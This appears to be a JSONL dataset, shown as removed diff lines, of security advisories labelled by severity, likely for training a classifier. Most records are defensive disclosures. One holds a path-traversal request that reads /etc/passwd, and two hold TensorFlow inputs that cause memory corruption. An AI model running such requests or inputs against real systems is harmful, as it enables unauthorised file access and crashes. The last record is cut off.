"severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "46473c287d86a9fc7d32", "text": "Spring Security OAuth vulnerable to remote code execution (RCE)\n\nSpring Security OAuth versions prior to 2.3.3, prior to 2.2.2, prior to 2.1.2, and prior to 2.0.15 contain a remote code execution vulnerability. An attacker can craft an authorization request to the authorization endpoint that can lead to remote code execution when the resource owner is forwarded to the approval endpoint.", "text_raw": "Spring Security OAuth vulnerable to remote code execution (RCE)\n\n[Severity: CRITICAL]\n\nSpring Security OAuth versions prior to 2.3.3, prior to 2.2.2, prior to 2.1.2, and prior to 2.0.15 contain a remote code execution vulnerability. An attacker can craft an authorization request to the authorization endpoint that can lead to remote code execution when the resource owner is forwarded to the approval endpoint. ", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "eaa649d0b23335c12801", "text": "Malicious Package in pizza-pasta\n\nVersion 1.0.3 of `pizza-pasta` contains malicious code as a install scripts. The package created folders in the system's Desktop and downloaded an image from `imgur.com`. The package also printed the users SSH keys to the console.\n\n## Recommendation\n\nRemove the package from your environment. There are no evidences of further compromise.", "text_raw": "Malicious Package in pizza-pasta\n\n[Severity: CRITICAL]\n\nVersion 1.0.3 of `pizza-pasta` contains malicious code as a install scripts. The package created folders in the system's Desktop and downloaded an image from `imgur.com`. The package also printed the users SSH keys to the console.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no evidences of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6490e38ff2f01c428396", "text": "SkaDate Lite 2.0 Multiple XSRF And Persistent XSS Vulnerabilities", "text_raw": "SkaDate Lite 2.0 Multiple XSRF And Persistent XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-07-30", "split": "train"}
-{"id": "720333662adc1d6292ad", "text": "Rate Limiting Bypass in express-brute\n\nAll versions of `express-brute` are vulnerable to Rate Limiting Bypass. Concurrent requests may lead to race conditions that cause the package to incorrectly count requests. This may allow an attacker to bypass the rate limiting provided by the package and execute requests without limiting.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Rate Limiting Bypass in express-brute\n\n[Severity: MEDIUM]\n\nAll versions of `express-brute` are vulnerable to Rate Limiting Bypass. Concurrent requests may lead to race conditions that cause the package to incorrectly count requests. This may allow an attacker to bypass the rate limiting provided by the package and execute requests without limiting.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-07", "split": "train"}
-{"id": "3da4c0723eca437eb0cf", "text": "Cross-site scripting in react-bootstrap-table\n\nAll versions of package react-bootstrap-table are vulnerable to Cross-site Scripting (XSS) via the dataFormat parameter. The problem is triggered when an invalid React element is returned, leading to dangerouslySetInnerHTML being used, which does not sanitize the output.", "text_raw": "Cross-site scripting in react-bootstrap-table\n\n[Severity: MEDIUM]\n\nAll versions of package react-bootstrap-table are vulnerable to Cross-site Scripting (XSS) via the dataFormat parameter. The problem is triggered when an invalid React element is returned, leading to dangerouslySetInnerHTML being used, which does not sanitize the output.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "f6be30891bfb31f31bca", "text": "Google Chromium Blink Use-After-Free Vulnerability\n\nAffected: Google Chromium Blink\n\nGoogle Chromium Blink contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium Blink Use-After-Free Vulnerability\n\nAffected: Google Chromium Blink\n\nGoogle Chromium Blink contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c6116fa59599b4ea52f0", "text": "Cross-Site Scripting in webtorrent\n\nVersions of `webtorrent` prior to 0.107.6 are vulnerable to Cross-Site Scripting. `webtorrent` servers started with `torrent.createServer()` lists a torrent's title and files in the index page without sanitization. This allows attackers to execute arbitrary JavaScript in the victim's browser through files with names containing the malicious payload. The issue is mitigated due to the fact that the server only allows fetching data pieces from the torrent.\n\n## Recommendation\n\nUpgrade to version 0.107.6 or later.", "text_raw": "Cross-Site Scripting in webtorrent\n\n[Severity: MEDIUM]\n\nVersions of `webtorrent` prior to 0.107.6 are vulnerable to Cross-Site Scripting. `webtorrent` servers started with `torrent.createServer()` lists a torrent's title and files in the index page without sanitization. This allows attackers to execute arbitrary JavaScript in the victim's browser through files with names containing the malicious payload. The issue is mitigated due to the fact that the server only allows fetching data pieces from the torrent.\n\n\n## Recommendation\n\nUpgrade to version 0.107.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-04", "split": "train"}
-{"id": "1fe2508c3a1bb3e21a70", "text": "Use after free in nano_arena\n\nAffected versions of this crate assumed that Borrow<Idx> was guaranteed to return the same value on .borrow(). The borrowed index value was used to retrieve a mutable reference to a value.\n\nIf the Borrow<Idx> implementation returned a different index, the split arena would allow retrieving the index as a mutable reference creating two mutable references to the same element. This violates Rust's aliasing rules and allows for memory safety issues such as writing out of bounds and use-after-frees.\n\nThe flaw was corrected in commit `6b83f9d` by storing the .borrow() value in a temporary variable.", "text_raw": "Use after free in nano_arena\n\n[Severity: CRITICAL]\n\nAffected versions of this crate assumed that Borrow<Idx> was guaranteed to return the same value on .borrow(). The borrowed index value was used to retrieve a mutable reference to a value.\n\nIf the Borrow<Idx> implementation returned a different index, the split arena would allow retrieving the index as a mutable reference creating two mutable references to the same element. This violates Rust's aliasing rules and allows for memory safety issues such as writing out of bounds and use-after-frees.\n\nThe flaw was corrected in commit `6b83f9d` by storing the .borrow() value in a temporary variable.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e6145aab5731a3588535", "text": "CSV injection in Craft CMS\n\n# Withdrawn\n\nDuplicate of GHSA-h7vq-5qgw-jwwq", "text_raw": "CSV injection in Craft CMS\n\n[Severity: HIGH]\n\n# Withdrawn \n\nDuplicate of GHSA-h7vq-5qgw-jwwq", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "40dcc63dc5bbac7f4af4", "text": "Local Privilege Escalation in cloudflared\n\nIn `cloudflared` versions < 2020.8.1 (corresponding to 0.0.0-20200820025921-9323844ea773 on pkg.go.dev) on Windows, if an administrator has started `cloudflared` and set it to read configuration files from a certain directory, an unprivileged user can exploit a misconfiguration in order to escalate privileges and execute system-level commands. The misconfiguration was due to the way that `cloudflared` reads its configuration file. One of the locations that `cloudflared` reads from (C:\\etc\\) is not a secure by default directory due to the fact that Windows does not enforce access controls on this directory without further controls applied. A malformed config.yaml file can be written by any user. Upon reading this config, `cloudflared` would output an error message to a log file defined in the malformed config. The user-controlled log file location could be set to a specific location that Windows will execute when any user logs in.", "text_raw": "Local Privilege Escalation in cloudflared\n\n[Severity: HIGH]\n\nIn `cloudflared` versions < 2020.8.1 (corresponding to 0.0.0-20200820025921-9323844ea773 on pkg.go.dev) on Windows, if an administrator has started `cloudflared` and set it to read configuration files from a certain directory, an unprivileged user can exploit a misconfiguration in order to escalate privileges and execute system-level commands. The misconfiguration was due to the way that `cloudflared` reads its configuration file. One of the locations that `cloudflared` reads from (C:\\etc\\) is not a secure by default directory due to the fact that Windows does not enforce access controls on this directory without further controls applied. A malformed config.yaml file can be written by any user. Upon reading this config, `cloudflared` would output an error message to a log file defined in the malformed config. The user-controlled log file location could be set to a specific location that Windows will execute when any user logs in.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "1f71cebd16c4034c62b9", "text": "Path Traversal in ponse\n\nVersions of `ponse` prior to 2.0.2 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.", "text_raw": "Path Traversal in ponse\n\n[Severity: HIGH]\n\nVersions of `ponse` prior to 2.0.2 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d6aceeba033a11608669", "text": "Directory Traversal in utahcityfinder\n\nAffected versions of `utahcityfinder` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in utahcityfinder\n\n[Severity: HIGH]\n\nAffected versions of `utahcityfinder` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "7b989991d89d9b920a75", "text": "Incorrect Account Used for Signing\n\n### Impact\n\nAnybody using this library to sign with a BIP44 account other than the first account may be affected. If a user is signing with the first account (i.e. the account at index `0`), or with the legacy MEW/MyCrypto HD path, they are not affected.\n\nThe vulnerability impacts cases where the user signs a personal message or transaction without first adding the account. This includes cases where the user has already added the account in a previous session (i.e. they added the account, reset the application, then signed something). The serialization/deserialization process does restore a previously added account, but it doesn&#39;t restore the index instructing the keyring to use that account for signing. As a result, after serializing then deserializing the keyring state, the account at index `0` is always used for signing even if it isn&#39;t the current account.\n\n### Patches\n\nThis has been patched ([#14](https://github.com/MetaMask/eth-ledger-bridge-keyring/pull/14)) in version &gt;=0.2.1 of [`eth-ledger-bridge-keyring`](https://www.npmjs.com/package/eth-ledger-bridge-keyring), and in version &gt;=0.2.2 of [`@metamask/eth-ledger-bridge-keyring`](https://www.npmjs.com/package/@metamask/eth-ledger-bridge-keyring). Users are encouraged to migrate to the new package name.\n\n### Workarounds\n\nTo work around this problem without updating, you should remove then re-add the account before use. As long as the account was added during the lifetime of that process, signing with that account should work correctly.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [MetaMask/eth-ledger-bridge-keyring on GitHub](https://github.com/MetaMask/eth-ledger-bridge-keyring)\n* Email the MetaMask team at [hello@metamask.io](mailto:hello@metamask.io)", "text_raw": "Incorrect Account Used for Signing\n\n[Severity: HIGH]\n\n### Impact\n\nAnybody using this library to sign with a BIP44 account other than the first account may be affected. If a user is signing with the first account (i.e. the account at index `0`), or with the legacy MEW/MyCrypto HD path, they are not affected.\n\nThe vulnerability impacts cases where the user signs a personal message or transaction without first adding the account. This includes cases where the user has already added the account in a previous session (i.e. they added the account, reset the application, then signed something). The serialization/deserialization process does restore a previously added account, but it doesn&#39;t restore the index instructing the keyring to use that account for signing. As a result, after serializing then deserializing the keyring state, the account at index `0` is always used for signing even if it isn&#39;t the current account.\n\n### Patches\n\nThis has been patched ([#14](https://github.com/MetaMask/eth-ledger-bridge-keyring/pull/14)) in version &gt;=0.2.1 of [`eth-ledger-bridge-keyring`](https://www.npmjs.com/package/eth-ledger-bridge-keyring), and in version &gt;=0.2.2 of [`@metamask/eth-ledger-bridge-keyring`](https://www.npmjs.com/package/@metamask/eth-ledger-bridge-keyring). Users are encouraged to migrate to the new package name.\n\n### Workarounds\n\nTo work around this problem without updating, you should remove then re-add the account before use. As long as the account was added during the lifetime of that process, signing with that account should work correctly.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [MetaMask/eth-ledger-bridge-keyring on GitHub](https://github.com/MetaMask/eth-ledger-bridge-keyring)\n* Email the MetaMask team at [hello@metamask.io](mailto:hello@metamask.io)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-24", "split": "train"}
-{"id": "b282314a684a701cbd42", "text": "Reference binding to nullptr in `SdcaOptimizer`\n\n### Impact\nThe implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\nsparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_values = []\n\ndense_features = []\ndense_weights = []\n\nexample_weights = tf.constant((0.0), dtype=tf.float32)\nexample_labels = tf.constant((0.0), dtype=tf.float32)\n\nsparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]\n\nexample_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)\n\ntf.raw_ops.SdcaOptimizer(\n  sparse_example_indices=sparse_example_indices,\n  sparse_feature_indices=sparse_feature_indices,\n  sparse_feature_values=sparse_feature_values, dense_features=dense_features,\n  example_weights=example_weights, example_labels=example_labels, \n  sparse_indices=sparse_indices, sparse_weights=sparse_weights, \n  dense_weights=dense_weights, example_state_data=example_state_data,\n  loss_type=\"logistic_loss\", l1=0.0, l2=0.0, num_loss_partitions=1,\n  num_inner_iterations=1, adaptative=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/60a45c8b6192a4699f2e2709a2645a751d435cc3/tensorflow/core/kernels/sdca_internal.cc) does not validate that the user supplied arguments satisfy all [constraints expected by the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SdcaOptimizer).\n\n### Patches\nWe have patched the issue in GitHub commit [f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb](https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Reference binding to nullptr in `SdcaOptimizer`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\nsparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_values = []\n\ndense_features = []\ndense_weights = []\n\nexample_weights = tf.constant((0.0), dtype=tf.float32)\nexample_labels = tf.constant((0.0), dtype=tf.float32)\n\nsparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]\n  \nexample_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)\n  \ntf.raw_ops.SdcaOptimizer(\n  sparse_example_indices=sparse_example_indices,\n  sparse_feature_indices=sparse_feature_indices,\n  sparse_feature_values=sparse_feature_values, dense_features=dense_features,\n  example_weights=example_weights, example_labels=example_labels, \n  sparse_indices=sparse_indices, sparse_weights=sparse_weights, \n  dense_weights=dense_weights, example_state_data=example_state_data,\n  loss_type=\"logistic_loss\", l1=0.0, l2=0.0, num_loss_partitions=1,\n  num_inner_iterations=1, adaptative=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/60a45c8b6192a4699f2e2709a2645a751d435cc3/tensorflow/core/kernels/sdca_internal.cc) does not validate that the user supplied arguments satisfy all [constraints expected by the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SdcaOptimizer).\n\n### Patches\nWe have patched the issue in GitHub commit [f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb](https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "8239003fc305cc055934", "text": "Missing Authentication for Critical Function in Apache Calcite\n\n\"HttpUtils#getURLConnection method disables explicitly hostname verification for HTTPS connections making clients vulnerable to man-in-the-middle attacks. Calcite uses this method internally to connect with Druid and Splunk so information leakage may happen when using the respective Calcite adapters. The method itself is in a utility class so people may use it to create vulnerable HTTPS connections for other applications. From Apache Calcite 1.26 onwards, the hostname verification will be performed using the default JVM truststore.\"", "text_raw": "Missing Authentication for Critical Function in Apache Calcite\n\n[Severity: MEDIUM]\n\n\"HttpUtils#getURLConnection method disables explicitly hostname verification for HTTPS connections making clients vulnerable to man-in-the-middle attacks. Calcite uses this method internally to connect with Druid and Splunk so information leakage may happen when using the respective Calcite adapters. The method itself is in a utility class so people may use it to create vulnerable HTTPS connections for other applications. From Apache Calcite 1.26 onwards, the hostname verification will be performed using the default JVM truststore.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "18a69f6861a210972e4d", "text": "Nero Burning ROM 9 (iso compilation) Local Buffer Invasion Proof Of Concept", "text_raw": "Nero Burning ROM 9 (iso compilation) Local Buffer Invasion Proof Of Concept\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-02-22", "split": "train"}
-{"id": "f5a0d400b61be65afeb7", "text": "Action Commands (run/shell/exec) Against Library URIs Ignore Configured Remote Endpoint\n\n# Impact\nDue to incorrect use of a default URL, `singularity` action commands (`run`/`shell`/`exec`) specifying a container using a `library://` URI will always attempt to retrieve the container from the default remote endpoint (`cloud.sylabs.io`) rather than the configured remote endpoint.\n\nAn attacker may be able to push a malicious container to the default remote endpoint with a URI that is identical to the URI used by a victim with a non-default remote endpoint, thus executing the malicious container.\n\nOnly action commands (`run`/`shell`/`exec`) against `library://` URIs are affected. Other commands such as `pull` / `push` respect the configured remote endpoint.\n\n# Patches\nAll users should upgrade to Singularity 3.7.4 or later.\n\n# Workarounds\nUsers who only interact with the default remote endpoint or do not use the library:// url are not affected.\n\nInstallations with an execution control list configured to restrict execution to containers signed with specific secure keys are not affected.\n\n# Acknowledgements\nThis issue was found by Mike Frisch and brought to our attention by Sylabs.  Sylabs is making a [coordinated disclosure](https://github.com/sylabs/singularity/security/advisories/GHSA-5mv9-q7fq-9394).\n\n# For more information\nGeneral questions about the impact of the advisory can be asked in the:\n\n[Singularity Slack Channel](https://join.slack.com/t/hpcng/shared_invite/zt-qda4h1ls-OP0Uouq6sSmVE6i_0NrWdw)\n[Singularity Mailing List](https://groups.google.com/a/lbl.gov/g/singularity)\nAny sensitive security concerns should be directed to: [singularity-security@hpcng.org](mailto:singularity-security@hpcng.org)", "text_raw": "Action Commands (run/shell/exec) Against Library URIs Ignore Configured Remote Endpoint\n\n[Severity: MEDIUM]\n\n# Impact\nDue to incorrect use of a default URL, `singularity` action commands (`run`/`shell`/`exec`) specifying a container using a `library://` URI will always attempt to retrieve the container from the default remote endpoint (`cloud.sylabs.io`) rather than the configured remote endpoint.\n\nAn attacker may be able to push a malicious container to the default remote endpoint with a URI that is identical to the URI used by a victim with a non-default remote endpoint, thus executing the malicious container.\n\nOnly action commands (`run`/`shell`/`exec`) against `library://` URIs are affected. Other commands such as `pull` / `push` respect the configured remote endpoint.\n\n# Patches\nAll users should upgrade to Singularity 3.7.4 or later.\n\n# Workarounds\nUsers who only interact with the default remote endpoint or do not use the library:// url are not affected.\n\nInstallations with an execution control list configured to restrict execution to containers signed with specific secure keys are not affected.\n\n# Acknowledgements\nThis issue was found by Mike Frisch and brought to our attention by Sylabs.  Sylabs is making a [coordinated disclosure](https://github.com/sylabs/singularity/security/advisories/GHSA-5mv9-q7fq-9394).\n\n# For more information\nGeneral questions about the impact of the advisory can be asked in the:\n\n[Singularity Slack Channel](https://join.slack.com/t/hpcng/shared_invite/zt-qda4h1ls-OP0Uouq6sSmVE6i_0NrWdw)\n[Singularity Mailing List](https://groups.google.com/a/lbl.gov/g/singularity)\nAny sensitive security concerns should be directed to: [singularity-security@hpcng.org](mailto:singularity-security@hpcng.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "c68d9dfb177f14b541e1", "text": "Cross-site Scripting in tempura\n\nThis affects the package tempura before 0.4.0. If the input to the esc function is of type object (i.e an array) it is returned without being escaped/sanitized, leading to a potential Cross-Site Scripting vulnerability.", "text_raw": "Cross-site Scripting in tempura\n\n[Severity: MEDIUM]\n\nThis affects the package tempura before 0.4.0. If the input to the esc function is of type object (i.e an array) it is returned without being escaped/sanitized, leading to a potential Cross-Site Scripting vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "7f5cabb81d6c5099fae8", "text": "SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit", "text_raw": "SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-02-11", "split": "train"}
-{"id": "faf0c0904a712f8e9719", "text": "Erroneous Proof of Work calculation in geth\n\n### Impact\nAn ethash mining DAG generation flaw in Geth could cause miners to erroneously calculate PoW in an upcoming epoch (estimated early January, 2021). This happened on the ETC chain on 2020-11-06. This issue is relevant only for miners, non-mining nodes are unaffected.\n\n### Patches\nThis issue is also fixed as of 1.9.24. Thanks to @slavikus for bringing the issue to our attention and writing the fix.\n\n### Workarounds\nThis PR implements a patch: https://github.com/ethereum/go-ethereum/pull/21793\n\n### References\nhttps://blog.ethereum.org/2020/11/12/geth_security_release/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Erroneous Proof of Work calculation in geth\n\n[Severity: MEDIUM]\n\n### Impact\nAn ethash mining DAG generation flaw in Geth could cause miners to erroneously calculate PoW in an upcoming epoch (estimated early January, 2021). This happened on the ETC chain on 2020-11-06. This issue is relevant only for miners, non-mining nodes are unaffected.\n\n### Patches\nThis issue is also fixed as of 1.9.24. Thanks to @slavikus for bringing the issue to our attention and writing the fix. \n\n### Workarounds\nThis PR implements a patch: https://github.com/ethereum/go-ethereum/pull/21793 \n\n### References\nhttps://blog.ethereum.org/2020/11/12/geth_security_release/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "242ae47838a5da9eb28b", "text": "Heap buffer overflow in `RaggedBinCount`\n\n### Impact\nIf the `splits` argument of `RaggedBincount` does not specify a valid [`SparseTensor`](https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedBincount(splits=[0], values=[1,1,1,1,1], size=5, weights=[1,2,3,4], binary_output=False)\n```\n\nThis will cause a read from outside the bounds of the `splits` tensor buffer in the [implementation of the `RaggedBincount` op](https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L433):\n\n```cc\n    for (int idx = 0; idx < num_values; ++idx) {\n      while (idx >= splits(batch_idx)) {\n        batch_idx++;\n      }\n      ...\n    }\n```\n\nBefore the `for` loop, `batch_idx` is set to 0. The user controls the `splits` array, making it contain only one element, 0. Thus, the code in the `while` loop would increment `batch_idx` and then try to read `splits(1)`, which is outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [eebb96c2830d48597d055d247c0e9aebaea94cd5](https://github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap buffer overflow in `RaggedBinCount`\n\n[Severity: LOW]\n\n### Impact\nIf the `splits` argument of `RaggedBincount` does not specify a valid [`SparseTensor`](https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedBincount(splits=[0], values=[1,1,1,1,1], size=5, weights=[1,2,3,4], binary_output=False)\n```\n\nThis will cause a read from outside the bounds of the `splits` tensor buffer in the [implementation of the `RaggedBincount` op](https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L433):\n\n```cc\n    for (int idx = 0; idx < num_values; ++idx) {\n      while (idx >= splits(batch_idx)) {\n        batch_idx++;\n      }\n      ...\n    }\n```\n\nBefore the `for` loop, `batch_idx` is set to 0. The user controls the `splits` array, making it contain only one element, 0. Thus, the code in the `while` loop would increment `batch_idx` and then try to read `splits(1)`, which is outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [eebb96c2830d48597d055d247c0e9aebaea94cd5](https://github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "aa9a977459c400cfa908", "text": "Ruby on Rails vulnerable to code injection\n\nRuby on Rails before 1.1.5 allows remote attackers to execute Ruby code with \"severe\" or \"serious\" impact via a File Upload request with an HTTP header that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.", "text_raw": "Ruby on Rails vulnerable to code injection\n\n[Severity: HIGH]\n\nRuby on Rails before 1.1.5 allows remote attackers to execute Ruby code with \"severe\" or \"serious\" impact via a File Upload request with an HTTP header that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f884d835fbe36a06e33e", "text": "Lookup function information discolosure in helm\n\nThe Helm core maintainers have identified an information disclosure vulnerability in Helm 3.0.0-3.1.2.\n\n### Impact\n\n`lookup` is a Helm template function introduced in Helm v3. It is able to lookup resources in the cluster to check for the existence of specific resources and get details about them. This can be used as part of the process to render templates.\n\nThe documented behavior of `helm template` states that it does not attach to a remote cluster. However, as the recently added `lookup` template function circumvents this restriction and connects to the cluster even during `helm template` and `helm install|update|delete|rollback --dry-run`. The user is not notified of this behavior.\n\nRunning `helm template` should not make calls to a cluster. This is different from `install`, which is presumed to have access to a cluster in order to load resources into Kubernetes. Helm 2 is unaffected by this vulnerability.\n\nA malicious chart author could inject a `lookup` into a chart that, when rendered through `helm template`, performs unannounced lookups against the cluster a user's `KUBECONFIG` file points to. This information can then be disclosed via the output of `helm template`.\n\n### Patches\n\nThis issue has been fixed in Helm 3.2.0\n\n### Workarounds\n\nDue to another bug (also fixed in Helm 3.2.0), the command `helm lint` will fail with an error if the `lookup` function is used in a chart. Therefore, run `helm lint` on an untrusted chart before running `helm template`.\n\nAlternately, setting the `KUBECONFIG` environment variable to point to an empty Kubernetes configuration file will prevent unintended network connections.\n\nFinally, a chart may be manually analyzed for the presence of a `lookup` function in any file in the `templates/` directory.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Helm 